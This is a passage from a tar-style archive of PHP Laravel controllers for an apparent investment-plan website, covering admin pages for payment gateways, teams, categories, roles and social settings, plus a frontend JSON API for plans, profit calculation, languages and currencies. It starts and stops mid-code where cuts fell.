$data->update(); if($field == 'is_debug'){ $now = $data->is_debug == 1 ? 'true':'false'; $this->setEnv('APP_DEBUG',$now,$prev); } //--- Redirect Section $msg = __('Status Updated Successfully.'); return response()->json($msg); //--- Redirect Section Ends } public function emailConfig($input) { try { $this->setEnv('MAIL_HOST',$input['smtp_host']); $this->setEnv('MAIL_PORT',$input['smtp_port']); $this->setEnv('MAIL_USERNAME',$input['smtp_user']); $this->setEnv('MAIL_PASSWORD',$input['smtp_pass']); $this->setEnv('MAIL_ENCRYPTION','tls'); if(isset($input['molly_key'])){ $this->setEnv('MOLLIE_KEY',$input['molly_key']); } } catch (\Throwable $e) { } } private function setEnv($key, $value) { file_put_contents(app()->environmentFilePath(), str_replace( $key . '=' . env($key), $key . '=' . $value, file_get_contents(app()->environmentFilePath()) )); } } Controllers/Admin/PaymentGatewayController.php 0000644 00000016232 15111246740 0015623 0 ustar 00 <?php namespace App\Http\Controllers\Admin; use Datatables; use App\Models\PaymentGateway; use Illuminate\Http\Request; use App\Http\Controllers\Controller; use Illuminate\Support\Str; use Validator; class PaymentGatewayController extends Controller { public function __construct() { $this->middleware('auth:admin'); } private function setEnv($key, $value,$prev) { file_put_contents(app()->environmentFilePath(), str_replace( $key . '=' . $prev, $key . '=' . $value, file_get_contents(app()->environmentFilePath()) )); } public function datatables() { $datas = PaymentGateway::orderBy('id','desc')->get(); return Datatables::of($datas) ->editColumn('title', function(PaymentGateway $data) { if($data->type == 'automatic'){ return $data->name; }else{ return $data->title; } }) ->addColumn('status', function(PaymentGateway $data) { $status = $data->status == 1 ? __('Activated') : __('Deactivated'); $status_sign = $data->status == 1 ? 'success' : 'danger'; return '<div class="btn-group mb-1"> <button type="button" class="btn btn-'.$status_sign.' btn-sm btn-rounded dropdown-toggle" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> '.$status .' </button> <div class="dropdown-menu" x-placement="bottom-start"> <a href="javascript:;" data-toggle="modal" data-target="#statusModal" class="dropdown-item" data-href="'. route('admin.payment.status',['id1' => $data->id, 'id2' => 1]).'">'.__("Activate").'</a> <a href="javascript:;" data-toggle="modal" data-target="#statusModal" class="dropdown-item" data-href="'. route('admin.payment.status',['id1' => $data->id, 'id2' => 0]).'">'.__("Deactivate").'</a> </div> </div>'; }) ->addColumn('action', function(PaymentGateway $data) { $editLink = route('admin.payment.edit',$data->id); $deleteLink = route('admin.payment.delete',$data->id); $delete = $data->type == 'automatic' || $data->keyword != null ? "" : '<button type="button" data-toggle="modal" data-target="#deleteModal" data-href="' . $deleteLink . '" class="btn btn-danger btn-sm btn-rounded"> <i class="fas fa-trash"></i> </button>'; return '<div class="actions-btn"><a href="' . $editLink . '" class="btn btn-primary btn-sm btn-rounded"> <i class="fas fa-edit"></i> '.__("Edit").' </a>'.$delete.'</div>'; }) ->rawColumns(['status','action']) ->toJson(); } public function index() { return view('admin.payment.index'); } public function create(){ return view('admin.payment.create'); } public function store(Request $request) { $rules = ['title' => 'unique:payment_gateways']; $validator = Validator::make($request->all(), $rules); if ($validator->fails()) { return response()->json(array('errors' => $validator->getMessageBag()->toArray())); } $data = new PaymentGateway(); $input = $request->all(); $input['type'] = "manual"; $data->fill($input)->save(); $msg = __('New Data Added Successfully.').' '.'<a href="'.route("admin.payment.index").'">'.__('View Lists.').'</a>'; return response()->json($msg); } public function edit($id) { $data = PaymentGateway::findOrFail($id); return view('admin.payment.edit',compact('data')); } public function update(Request $request, $id) { $data = PaymentGateway::findOrFail($id); $prev = ''; if(PaymentGateway::where('name',$request->name)->where('id','!=',$id)->exists()){ return response()->json(array('errors' => [0 =>'This name has already been taken.'])); } if($data->type == "automatic"){ $input = $request->all(); $info_data = $input['pkey']; if($data->keyword == 'mollie'){ $paydata = $data->convertAutoData(); $prev = $paydata['key']; } if ($file = $request->file('photo')) { $paydata = $data->convertAutoData(); $name = Str::random(8).time().'.'.$file->getClientOriginalExtension(); $data->upload($name,$file,$paydata['photo']); $info_data['photo']= $name; } else{ if (strpos($data->information, 'photo') !== false) { $paydata = $data->convertAutoData(); $info_data['photo'] = $paydata['photo']; } } if (array_key_exists("sandbox_check",$info_data)){ $info_data['sandbox_check'] = 1; }else{ if (strpos($data->information, 'sandbox_check') !== false) { $info_data['sandbox_check'] = 0; $text = $info_data['text']; unset($info_data['text']); $info_data['text'] = $text; } } $input['information'] = json_encode($info_data); $data->update($input); if($data->keyword == 'mollie'){ $paydata = $data->convertAutoData(); $this->setEnv('MOLLIE_KEY',$paydata['key'],$prev); } } else{ if(PaymentGateway::where('name',$request->name)->where('id','!=',$id)->exists()){ return response()->json(array('errors' => [0 =>'This name has already been taken.'])); } $input = $request->all(); $data->update($input); } $msg = __('Data Updated Successfully.').' '.'<a href="'.route("admin.payment.index").'">'.__('View Lists.').'</a>'; return response()->json($msg); } public function status($id1,$id2) { $data = PaymentGateway::findOrFail($id1); $data->status = $id2; $data->update(); $msg = __('Status Updated Successfully.'); return response()->json($msg); } public function destroy($id) { $data = PaymentGateway::findOrFail($id); if($data->type == 'manual' || $data->keyword != null){ $data->delete(); } $msg = __('Data Deleted Successfully.'); return response()->json($msg); } } Controllers/Admin/TeamController.php 0000644 00000007772 15111246740 0013563 0 ustar 00 <?php namespace App\Http\Controllers\Admin; use App\Http\Controllers\Controller; use App\Models\Team; use Illuminate\Http\Request; use Illuminate\Support\Str; use Datatables; use Validator; class TeamController extends Controller { public function __construct() { $this->middleware('auth:admin'); } public function datatables() { $datas = Team::orderBy('id','desc')->get(); return Datatables::of($datas) ->editColumn('photo', function(Team $data) { $photo = $data->photo ? url('assets/images/'.$data->photo):url('assets/images/noimage.png'); return '<img src="' . $photo . '" alt="Image">'; }) ->addColumn('action', function(Team $data) { return '<div class="btn-group mb-1"> <button type="button" class="btn btn-primary btn-sm btn-rounded dropdown-toggle" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> '.'Actions' .' </button> <div class="dropdown-menu" x-placement="bottom-start"> <a href="' . route('admin.teams.edit',$data->id) . '" class="dropdown-item">'.__("Edit").'</a> <a href="javascript:;" data-toggle="modal" data-target="#deleteModal" class="dropdown-item" data-href="'. route('admin.teams.delete',$data->id).'">'.__("Delete").'</a> </div> </div>'; }) ->rawColumns(['photo', 'action']) ->toJson(); } public function index() { return view('admin.teams.index'); } public function create() { return view('admin.teams.create'); } public function store(Request $request) { $rules = [ 'photo' => 'required|mimes:jpeg,jpg,png,svg', ]; $validator = Validator::make($request->all(), $rules); if ($validator->fails()) { return response()->json(array('errors' => $validator->getMessageBag()->toArray())); } $data = new Team(); $input = $request->all(); if ($file = $request->file('photo')) { $name = Str::random(8).time().'.'.$file->getClientOriginalExtension(); $file->move('assets/images',$name); $input['photo'] = $name; } $data->fill($input)->save(); $msg = 'New Data Added Successfully.'.'<a href="'.route("admin.teams.index").'">View Lists</a>'; return response()->json($msg); } public function edit($id) { $data = Team::findOrFail($id); return view('admin.teams.edit',compact('data')); } public function update(Request $request, $id) { $rules = [ 'photo' => 'mimes:jpeg,jpg,png,svg', ]; $validator = Validator::make($request->all(), $rules); if ($validator->fails()) { return response()->json(array('errors' => $validator->getMessageBag()->toArray())); } $data = Team::findOrFail($id); $input = $request->all(); if ($file = $request->file('photo')) { $name = Str::random(8).time().'.'.$file->getClientOriginalExtension(); $file->move('assets/images',$name); @unlink('assets/images/'.$data->photo); $input['photo'] = $name; } $data->update($input); $msg = 'Data Updated Successfully.'.'<a href="'.route("admin.teams.index").'">View Lists</a>'; return response()->json($msg); } public function destroy($id) { $data = Team::findOrFail($id); @unlink('assets/images/'.$data->photo); $data->delete(); $msg = 'Data Deleted Successfully.'; return response()->json($msg); } } Controllers/Admin/BlogCategoryController.php 0000644 00000010752 15111246740 0015246 0 ustar 00 <?php namespace App\Http\Controllers\Admin; use Datatables; use App\Models\BlogCategory; use Illuminate\Http\Request; use App\Http\Controllers\Controller; use Validator; class BlogCategoryController extends Controller { public function __construct() { $this->middleware('auth:admin'); } public function datatables() { $datas = BlogCategory::orderBy('id','desc'); //--- Integrating This Collection Into Datatables return Datatables::of($datas) ->addColumn('action', function(BlogCategory $data) { return '<div class="btn-group mb-1"> <button type="button" class="btn btn-primary btn-sm btn-rounded dropdown-toggle" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> '.'Actions' .' </button> <div class="dropdown-menu" x-placement="bottom-start"> <a href="' . route('admin.cblog.edit',$data->id) . '" class="dropdown-item">'.__("Edit").'</a> <a href="javascript:;" data-toggle="modal" data-target="#deleteModal" class="dropdown-item" data-href="'. route('admin.cblog.delete',$data->id).'">'.__("Delete").'</a> </div> </div>'; }) ->rawColumns(['action']) ->toJson();//--- Returning Json Data To Client Side } //*** GET Request public function index() { return view('admin.cblog.index'); } //*** GET Request public function create() { return view('admin.cblog.create'); } //*** POST Request public function store(Request $request) { //--- Logic Section $rules = [ 'name' => 'unique:blog_categories', 'slug' => 'unique:blog_categories', ]; $customs = [ 'name.unique' => 'This name has already been taken.', 'slug.unique' => 'This slug has already been taken.' ]; $validator = Validator::make($request->all(), $rules, $customs); if ($validator->fails()) { return response()->json(array('errors' => $validator->getMessageBag()->toArray())); } $data = new BlogCategory; $input = $request->all(); $data->fill($input)->save(); //--- Logic Section Ends //--- Redirect Section $msg = 'New Data Added Successfully.'.' '.'<a href="'.route('admin.cblog.index').'"> '.__('View Lists.').'</a>'; return response()->json($msg); //--- Redirect Section Ends } //*** GET Request public function edit($id) { $data = BlogCategory::findOrFail($id); return view('admin.cblog.edit',compact('data')); } //*** POST Request public function update(Request $request, $id) { $rules = [ 'name' => 'unique:blog_categories,name,'.$id, 'slug' => 'unique:blog_categories,slug,'.$id ]; $customs = [ 'name.unique' => 'This name has already been taken.', 'slug.unique' => 'This slug has already been taken.' ]; $validator = Validator::make($request->all(), $rules, $customs); if ($validator->fails()) { return response()->json(array('errors' => $validator->getMessageBag()->toArray())); } //--- Logic Section $data = BlogCategory::findOrFail($id); $input = $request->all(); $data->update($input); //--- Logic Section Ends //--- Redirect Section $msg = 'Data Updated Successfully.'.' '.'<a href="'.route('admin.cblog.index').'"> '.__('View Lists.').'</a>'; return response()->json($msg); //--- Redirect Section Ends } //*** GET Request public function destroy($id) { $data = BlogCategory::findOrFail($id); //--- Check If there any blogs available, If Available Then Delete it if($data->blogs->count() > 0) { foreach ($data->blogs as $element) { $element->delete(); } } $data->delete(); //--- Redirect Section $msg = 'Data Deleted Successfully.'; return response()->json($msg); //--- Redirect Section Ends } } Controllers/Admin/SocialLinkController.php 0000644 00000011116 15111246740 0014710 0 ustar 00 <?php namespace App\Http\Controllers\Admin; use App\Http\Controllers\Controller; use App\Models\SocialLinks; use Illuminate\Http\Request; use Datatables; use Illuminate\Support\Facades\Validator; class SocialLinkController extends Controller { public function __construct() { $this->middleware('auth:admin'); } public function datatables() { $datas = SocialLinks::orderBy('id','desc'); return Datatables::of($datas) ->editColumn('status', function(SocialLinks $data) { $status = $data->status == 1 ? __('Activated') : __('Deativated'); $status_sign = $data->status == 1 ? 'success' : 'danger'; return '<div class="btn-group mb-1"> <button type="button" class="btn btn-'.$status_sign.' btn-sm btn-rounded dropdown-toggle" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> '.$status .' </button> <div class="dropdown-menu" x-placement="bottom-start"> <a href="javascript:;" data-toggle="modal" data-target="#statusModal" class="dropdown-item" data-href="'. route('admin.social.links.status',['id1' => $data->id, 'id2' => 1]).'">'.__("Active").'</a> <a href="javascript:;" data-toggle="modal" data-target="#statusModal" class="dropdown-item" data-href="'. route('admin.social.links.status',['id1' => $data->id, 'id2' => 0]).'">'.__("Deativate").'</a> </div> </div>'; }) ->addColumn('action', function(SocialLinks $data) { return '<div class="btn-group mb-1"> <button type="button" class="btn btn-primary btn-sm btn-rounded dropdown-toggle" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> '.'Actions' .' </button> <div class="dropdown-menu" x-placement="bottom-start"> <a href="' . route('admin.social.links.edit',$data->id) . '" class="dropdown-item">'.__("Edit").'</a> <a href="javascript:;" data-toggle="modal" data-target="#deleteModal" class="dropdown-item" data-href="'. route('admin.social.links.delete',$data->id).'">'.__("Delete").'</a> </div> </div>'; }) ->rawColumns(['status','action']) ->toJson(); } public function index() { return view('admin.sociallinks.index'); } public function create(){ return view('admin.sociallinks.create'); } public function store(Request $request) { $rules = [ 'icon' => 'required', ]; $validator = Validator::make($request->all(), $rules); if ($validator->fails()) { return response()->json(array('errors' => $validator->getMessageBag()->toArray())); } $data = new SocialLinks(); $input = $request->all(); $data->fill($input)->save(); $msg = 'New Data Added Successfully.'.'<a href="'.route("admin.social.links.index").'">View Social Links Lists</a>'; return response()->json($msg); } public function edit($id){ $data = SocialLinks::findOrFail($id); return view('admin.sociallinks.edit',compact('data')); } public function update(Request $request,$id){ $rules = [ 'icon' => 'required', ]; $validator = Validator::make($request->all(), $rules); if ($validator->fails()) { return response()->json(array('errors' => $validator->getMessageBag()->toArray())); } $data = SocialLinks::findOrFail($id); $input = $request->all(); $data->update($input); $msg = 'New Updated Successfully.'.'<a href="'.route("admin.social.links.index").'">View Social Links Lists</a>'; return response()->json($msg); } public function status($id1,$id2) { $data = SocialLinks::findOrFail($id1); $data->status = $id2; $data->update(); $mgs = __('Data Update Successfully.'); return response()->json($mgs); } public function destroy($id){ SocialLinks::findOrFail($id)->delete(); $mgs = __('Data Deleted Successfully.'); return response()->json($mgs); } } Controllers/Admin/CategoryController.php 0000644 00000022145 15111246740 0014441 0 ustar 00 <?php namespace App\Http\Controllers\Admin; use App\helper\Helper; use App\Http\Controllers\Controller; use App\Http\Requests\CategoryRequest; use App\Models\Category; use App\Models\Comment; use App\Models\Order; use App\Models\OrderedItem; use App\Models\Rating; use App\Models\Reply; use App\Models\Wishlist; use Datatables; use Illuminate\Http\Request; use Illuminate\Support\Facades\Validator; use Illuminate\Support\Str; class CategoryController extends Controller { public function __construct() { $this->middleware('auth:admin'); } //*** JSON Request public function datatables(Request $request) { $datas = Category::orderBy('id','desc')->get(); //--- Integrating This Collection Into Datatables return Datatables::of($datas) ->addColumn('status', function(Category $data) { $status = $data->status == 1 ? __('Activated') : __('Deactivated'); $status_sign = $data->status == 1 ? 'success' : 'danger'; return '<div class="btn-group mb-1"> <button type="button" class="btn btn-'.$status_sign.' btn-sm btn-rounded dropdown-toggle" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> '.$status .' </button> <div class="dropdown-menu" x-placement="bottom-start"> <a href="javascript:;" data-toggle="modal" data-target="#statusModal" class="dropdown-item" data-href="'. route('admin.cat.status',['id1' => $data->id, 'id2' => 1]).'">'.__("Activate").'</a> <a href="javascript:;" data-toggle="modal" data-target="#statusModal" class="dropdown-item" data-href="'. route('admin.cat.status',['id1' => $data->id, 'id2' => 0]).'">'.__("Deactivate").'</a> </div> </div>'; }) ->addColumn('form', function(Category $data) use ($request) { return '<div class="action-list"><a href="' . route('admin.form.create',$data->id) .'" class="btn btn-primary btn-sm btn-rounded edit"> <i class="fas fa-plus"></i> '.__('Create').'</a></div>'; }) ->addColumn('action', function(Category $data) { return '<div class="btn-group mb-1"> <button type="button" class="btn btn-primary btn-sm btn-rounded dropdown-toggle" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> '.'Actions' .' </button> <div class="dropdown-menu" x-placement="bottom-start"> <a href="' . route('admin.cat.edit',$data->id) . '" class="dropdown-item">'.__("Edit").'</a> <a href="javascript:;" data-toggle="modal" data-target="#deleteModal" class="dropdown-item" data-href="'. route('admin.cat.delete',$data->id).'">'.__("Delete").'</a> </div> </div>'; }) ->rawColumns(['form','status','action']) ->toJson(); //--- Returning Json Data To Client Side } public function index() { return view('admin.category.index'); } public function create() { return view('admin.category.create'); } public function store(Request $request) { $rules = [ 'name'=> 'required', 'demo_url_status'=> 'required', 'photo' => 'mimes:jpeg,jpg,png,svg,webp', 'slug' => 'unique:categories|regex:/^[a-zA-Z0-9\s-]+$/', 'demo_url_status'=> 'required' ]; $customs = [ 'name.required' => __('Name field is required.'), 'photo.mimes' => __('Photo Type is Invalid.'), 'slug.unique' => __('This slug has already been taken.'), 'slug.regex' => __('Slug Must Not Have Any Special Characters.'), 'demo_url_status.required' => __('Demo Url field is required.') ]; $validator = Validator::make($request->all(), $rules, $customs); if ($validator->fails()) { return response()->json(array('errors' => $validator->getMessageBag()->toArray())); } //--- Logic Section $data = new Category(); $input = $request->all(); if ($file = $request->file('photo')) { $name = Str::random(8).time().'.'.$file->getClientOriginalExtension(); $file->move('assets/images',$name); $input['photo'] = $name; } if ($request->is_featured == ""){ $input['is_featured'] = 0; } else { $input['is_featured'] = 1; } $input['slug'] = Str::slug($request->slug, '-'); $input['demo_url_status'] = $request->demo_url_status; $data->fill($input)->save(); //--- Logic Section Ends //--- Redirect Section $msg = __('New Data Added Successfully.').' '.'<a href="'.route('admin.cat.index').'"> '.__('View Lists.').'</a>'; return response()->json($msg); //--- Redirect Section Ends } //*** GET Request public function edit($id) { $data = Category::findOrFail($id); return view('admin.category.edit',compact('data')); } //*** POST Request public function update(Request $request, $id) { //--- Validation Section $rules = [ 'name'=> 'required', 'demo_url_status'=> 'required', 'photo' => 'mimes:jpeg,jpg,png,svg,webp', 'slug' => 'unique:categories,slug,'.$id, 'demo_url_status'=> 'required' ]; $customs = [ 'name.required' => __('Name field is required.'), 'photo.mimes' => __('Photo Type is Invalid.'), 'slug.unique' => __('This slug has already been taken.'), 'demo_url_status.required' => __('Demo Url field is required.') ]; $validator = Validator::make($request->all(), $rules, $customs); if ($validator->fails()) { return response()->json(array('errors' => $validator->getMessageBag()->toArray())); } //--- Validation Section Ends //--- Logic Section $data = Category::findOrFail($id); $input = $request->all(); if ($file = $request->file('photo')) { $name = Str::random(8).time().'.'.$file->getClientOriginalExtension(); $file->move('assets/images',$name); @unlink('/assets/images/'.$data->photo); $input['photo'] = $name; } if ($request->is_featured == ""){ $input['is_featured'] = 0; } else { $input['is_featured'] = 1; } $input['slug'] = Str::slug($request->slug, '-'); $data->update($input); //--- Logic Section Ends //--- Redirect Section $msg = 'Data Updated Successfully.'; return response()->json($msg); //--- Redirect Section Ends } //*** GET Request Status public function status($id1,$id2) { $data = Category::findOrFail($id1); $data->status = $id2; $data->update(); //--- Redirect Section $msg = 'Data Updated Successfully.'; return response()->json($msg); //--- Redirect Section Ends } //*** GET Request Delete public function destroy($id) { $data = Category::findOrFail($id); if($data->subs->count()>0) { //--- Redirect Section $msg = 'Remove its SubCategory first !'; return response()->json($msg); //--- Redirect Section Ends } if($data->products->count()>0) { //--- Redirect Section $msg = 'Remove the products first !'; return response()->json($msg); //--- Redirect Section Ends } //If Photo Doesn't Exist if($data->photo == null){ $data->delete(); //--- Redirect Section $msg = 'Data Deleted Successfully.'; return response()->json($msg); //--- Redirect Section Ends } else{ //If Photo Exist if (file_exists(public_path().'/assets/images/'.$data->photo)) { unlink(public_path().'/assets/images/'.$data->photo); } $data->delete(); cache()->forget('categories'); //--- Redirect Section $msg = 'Data Deleted Successfully.'; return response()->json($msg); //--- Redirect Section Ends } } } Controllers/Admin/RoleController.php 0000644 00000006760 15111246740 0013572 0 ustar 00 <?php namespace App\Http\Controllers\Admin; use Datatables; use App\Models\Role; use Illuminate\Http\Request; use App\Http\Controllers\Controller; use Validator; class RoleController extends Controller { public function __construct() { $this->middleware('auth:admin'); } public function datatables() { $datas = Role::orderBy('id','desc'); return Datatables::of($datas) ->addColumn('section', function(Role $data) { $details = str_replace('_',' ',$data->section); $details = ucwords($details); return '<div>'.$details.'</div>'; }) ->addColumn('action', function(Role $data) { return '<div class="btn-group mb-1"> <button type="button" class="btn btn-primary btn-sm btn-rounded dropdown-toggle" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> '.'Actions' .' </button> <div class="dropdown-menu" x-placement="bottom-start"> <a href="' . route('admin.role.edit',$data->id) . '" class="dropdown-item">'.__("Edit").'</a> <a href="javascript:;" data-toggle="modal" data-target="#deleteModal" class="dropdown-item" data-href="'. route('admin.role.delete',$data->id).'">'.__("Delete").'</a> </div> </div>'; }) ->rawColumns(['section','action']) ->toJson(); } public function index() { return view('admin.role.index'); } public function create() { return view('admin.role.create'); } public function store(Request $request) { $data = new Role(); $input = $request->all(); if(!empty($request->section)) { $input['section'] = implode(" , ",$request->section); } else{ $input['section'] = ''; } $data->fill($input)->save(); $msg = __('New Data Added Successfully.').'<a href="'.route('admin.role.index').'">'.__('View Lists.').'</a>'; return response()->json($msg); } public function edit($id) { $data = Role::findOrFail($id); return view('admin.role.edit',compact('data')); } public function update(Request $request, $id) { $rules = [ 'photo' => '', ]; $validator = Validator::make($request->all(), $rules); if ($validator->fails()) { return response()->json(array('errors' => $validator->getMessageBag()->toArray())); } $data = Role::findOrFail($id); $input = $request->all(); if(!empty($request->section)) { $input['section'] = implode(" , ",$request->section); } else{ $input['section'] = ''; } $data->update($input); $msg = __('Data Updated Successfully.').'<a href="'.route('admin.role.index').'">'.__('View Lists.').'</a>'; return response()->json($msg); } public function destroy($id) { $data = Role::findOrFail($id); $data->delete(); $msg = __('Data Deleted Successfully.'); return response()->json($msg); } } Controllers/Admin/SocialSettingController.php 0000644 00000004026 15111246740 0015432 0 ustar 00 <?php namespace App\Http\Controllers\Admin; use App\Models\Socialsetting; use Illuminate\Http\Request; use App\Http\Controllers\Controller; use Validator; class SocialSettingController extends Controller { public function __construct() { $this->middleware('auth:admin'); } public function socialupdate(Request $request) { $input = $request->all(); $data = Socialsetting::findOrFail(1); $data->update($input); $msg = 'Data Updated Successfully.'; return response()->json($msg); } public function socialupdateall(Request $request) { $input = $request->all(); $data = Socialsetting::findOrFail(1); if ($request->f_status == "") { $input['f_status'] = 0; } if ($request->t_status == "") { $input['t_status'] = 0; } if ($request->g_status == "") { $input['g_status'] = 0; } if ($request->l_status == "") { $input['l_status'] = 0; } if ($request->d_status == "") { $input['d_status'] = 0; } $data->update($input); $msg = 'Data Updated Successfully.'; return response()->json($msg); } public function index() { $data = Socialsetting::findOrFail(1); return view('admin.socialsetting.index',compact('data')); } public function facebook() { $data = Socialsetting::findOrFail(1); return view('admin.socialsetting.facebook',compact('data')); } public function google() { $data = Socialsetting::findOrFail(1); return view('admin.socialsetting.google',compact('data')); } public function facebookup($status) { $data = Socialsetting::findOrFail(1); $data->f_check = $status; $data->update(); } public function googleup($status) { $data = Socialsetting::findOrFail(1); $data->g_check = $status; $data->update(); } } Controllers/Api/Front/FrontendController.php 0000644 00000030160 15111246740 0015210 0 ustar 00 <?php namespace App\Http\Controllers\Api\Front; use App\Classes\GeniusMailer; use App\Http\Controllers\Controller; use App\Http\Resources\BlogResource; use App\Http\Resources\TeamResource; use App\Models\AccountProcess; use App\Models\Blog; use App\Models\Currency; use App\Models\Feature; use App\Models\Generalsetting; use App\Models\Language; use App\Models\Page; use App\Models\Pagesetting; use App\Models\Plan; use App\Models\Review; use App\Models\Team; use Illuminate\Http\Request; use Illuminate\Support\Facades\Validator; class FrontendController extends Controller { public function __construct() { $this->ps = Pagesetting::first(); $this->gs = Generalsetting::first(); } public function banner(){ $data['title'] = $this->ps->hero_title; $data['subtitle'] = $this->ps->hero_subtitle; $data['button_url'] = $this->ps->hero_btn_url; $data['video_link'] = $this->ps->hero_link; return response()->json(['status' => true, 'data' => $data, 'error' => []]); } public function about(){ $data['subtitle'] = $this->ps->about_title; $data['description'] = $this->ps->about_text; $data['read_more_link'] = $this->ps->about_link; $data['photo'] = $this->ps->about_photo != NULL ? url('/') . '/assets/images/' . $this->ps->about_photo : 'NULL'; return response()->json(['status' => true, 'data' => $data, 'error' => []]); } public function profit_calculator(){ $data['subtitle'] = $this->ps->profit_title; $data['description'] = $this->ps->profit_text; $data['plans'] = Plan::whereStatus(1)->orderBy('id','desc')->get(); $data['banner'] = $this->ps->profit_banner != NULL ? url('/') . '/assets/images/' . $this->ps->profit_banner : 'NULL'; return response()->json(['status' => true, 'data' => $data, 'error' => []]); } public function calculate(Request $request){ $rules = [ 'plan_id'=>'required', 'amount'=>'required' ]; $validator = Validator::make($request->all(), $rules); if ($validator->fails()) { return response()->json(['status' => false, 'data' => [], 'error' => $validator->errors()]); } $plan = Plan::whereId($request->plan_id)->first(); if($plan->invest_type == 'range'){ if($request->amount < $plan->min_amount || $request->amount > $plan->max_amount){ return response()->json(['status' => false, 'data' => [], 'error' => ["message" => 'Request amount should be between of '. $plan->min_amount.' minimum ' .$plan->max_amount. ' maximum amount']]); } }else{ if($plan->fixed_amount != $request->amount){ return response()->json(['status' => false, 'data' => [], 'error' => ["message" => 'Request amount should be '.$plan->fixed_amount]]); } } $percentage = ($request->amount * $plan->profit_percentage)/100; $profit = $request->amount + $percentage; $msg = showPrice($percentage); return response()->json(['status' => true, 'data' => $msg, 'error' => []]); } public function plans(){ $data = Plan::whereStatus(1) ->orderBy('id','desc') ->take(6) ->get(); return response()->json(['status' => true, 'data' => $data, 'error' => []]); } public function allPlans(){ $data = Plan::whereStatus(1) ->orderBy('id','desc') ->get(); return response()->json(['status' => true, 'data' => $data, 'error' => []]); } public function partners(){ $data = Partner::orderBy('id','desc') ->get(); return response()->json(['status' => true, 'data' => $data, 'error' => []]); } public function transactions(){ $data['deposits'] = getDeposits(); $data['withdraws'] = getWithdraws(); return response()->json(['status' => true, 'data' => $data, 'error' => []]); } public function how_to_start(){ $data['subtitle'] = $this->ps->start_title; $data['description'] = $this->ps->start_text; $data['banner'] = $this->ps->start_photo != NULL ? url('/') . '/assets/images/' . $this->ps->start_photo : 'NULL'; $data['steps'] = AccountProcess::orderBy('id','desc')->get(); return response()->json(['status' => true, 'data' => $data, 'error' => []]); } public function features(){ $data['subtitle'] = $this->ps->feature_title; $data['description'] = $this->ps->feature_text; $data['features'] = Feature::orderBy('id','desc')->get(); return response()->json(['status' => true, 'data' => $data, 'error' => []]); } public function referrals(){ $data['subtitle'] = $this->ps->referral_title; $data['description'] = $this->ps->referral_text; $data['referral_percentages'] = $this->ps->referral_percentage != NULL ? json_decode($this->ps->referral_percentage,true) : 'NULL'; return response()->json(['status' => true, 'data' => $data, 'error' => []]); } public function teams(){ $data['subtitle'] = $this->ps->team_title; $data['description'] = $this->ps->team_text; $teams = Team::orderBy('id','desc')->get(); return response()->json(['status' => true, 'data' =>['homepage'=>$data,'teams'=>TeamResource::collection($teams)], 'error' => []]); } public function testimonials(){ $data = Review::orderBy('id','desc')->get(); return response()->json(['status' => true, 'data' => $data, 'error' => []]); } public function ctas(){ $data['title'] = $this->ps->call_title; $data['subtitle'] = $this->ps->call_subtitle; $data['cta_link'] = $this->ps->call_link; $data['background_color'] = $this->ps->call_bg; return response()->json(['status' => true, 'data' => $data, 'error' => []]); } public function blogs(){ $data['subtitle'] = $this->ps->blog_title; $data['description'] = $this->ps->blog_text; $blogs = Blog::orderBy('id','desc')->limit(3)->get(); return response()->json(['status' => true, 'data' => ['homepage'=>$data,'blogs'=> BlogResource::collection($blogs)], 'error' => []]); } public function payment_gateways(){ $data['subtitle'] = $this->ps->brand_title; $data['description'] = $this->ps->brand_text; $data['banner'] = $this->ps->brand_photo != NULL ? url('/') . '/assets/images/' . $this->ps->brand_photo : 'NULL'; $data['payment_gateways'] = getBrands(); return response()->json(['status' => true, 'data' => $data, 'error' => []]); } public function defaultLanguage() { try{ $language = Language::where('is_default','=',1)->first(); if(!$language){ return response()->json(['status' => true, 'data' => [], 'error' => ['message' => 'No Language Found']]); } $data_results = file_get_contents(resource_path().'/lang/'.$language->file); $lang = json_decode($data_results); return response()->json(['status' => true, 'data' => ['basic' => $language ,'languages' => $lang], 'error' => []]); } catch(\Exception $e){ return response()->json(['status' => true, 'data' => [], 'error' => ['message' => $e->getMessage()]]); } } public function language($id) { try{ $language = Language::find($id); if(!$language){ return response()->json(['status' => true, 'data' => [], 'error' => ['message' => 'No Language Found']]); } $data_results = file_get_contents(resource_path().'/lang/'.$language->file); $lang = json_decode($data_results); return response()->json(['status' => true, 'data' => ['basic' => $language ,'languages' => $lang], 'error' => []]); } catch(\Exception $e){ return response()->json(['status' => true, 'data' => [], 'error' => ['message' => $e->getMessage()]]); } } public function languages() { try{ $languages = Language::all(); return response()->json(['status' => true, 'data' => $languages, 'error' => []]); } catch(\Exception $e){ return response()->json(['status' => true, 'data' => [], 'error' => ['message' => $e->getMessage()]]); } } public function defaultCurrency() { try{ $currency = Currency::where('is_default','=',1)->first(); if(!$currency){ return response()->json(['status' => true, 'data' => [], 'error' => ['message' => 'No Currency Found']]); } return response()->json(['status' => true, 'data' => $currency, 'error' => []]); } catch(\Exception $e){ return response()->json(['status' => true, 'data' => [], 'error' => ['message' => $e->getMessage()]]); } } public function currency($id) { try{ $currency = Currency::find($id); if(!$currency){ return response()->json(['status' => true, 'data' => [], 'error' => ['message' => 'No Currency Found']]); } return response()->json(['status' => true, 'data' => $currency, 'error' => []]); } catch(\Exception $e){ return response()->json(['status' => true, 'data' => [], 'error' => ['message' => $e->getMessage()]]); } } public function currencies() { try{ $currencies = Currency::all(); return response()->json(['status' => true, 'data' => $currencies, 'error' => []]); } catch(\Exception $e){ return response()->json(['status' => true, 'data' => [], 'error' => ['message' => $e->getMessage()]]); } } public function pages(){ try{ $pages = Page::whereStatus(1)->orderBy('id','desc')->get(); return response()->json(['status' => true, 'data' => $pages, 'error' => []]); } catch(\Exception $e){ return response()->json(['status' => true, 'data' => [], 'error' => ['message' => $e->getMessage()]]); } } public function page($slug) { try{ $page = Page::whereSlug($slug)->first(); return response()->json(['status' => true, 'data' => $page, 'error' => []]); } catch(\Exception $e){ return response()->json(['status' => true, 'data' => [], 'error' => ['message' => $e->getMessage()]]); } } public function info(){ $data['latitude'] = $this->gs->latitude; $data['longitude'] = $this->gs->longitude; $data['subtitle'] = $this->ps->side_title; $data['description'] = 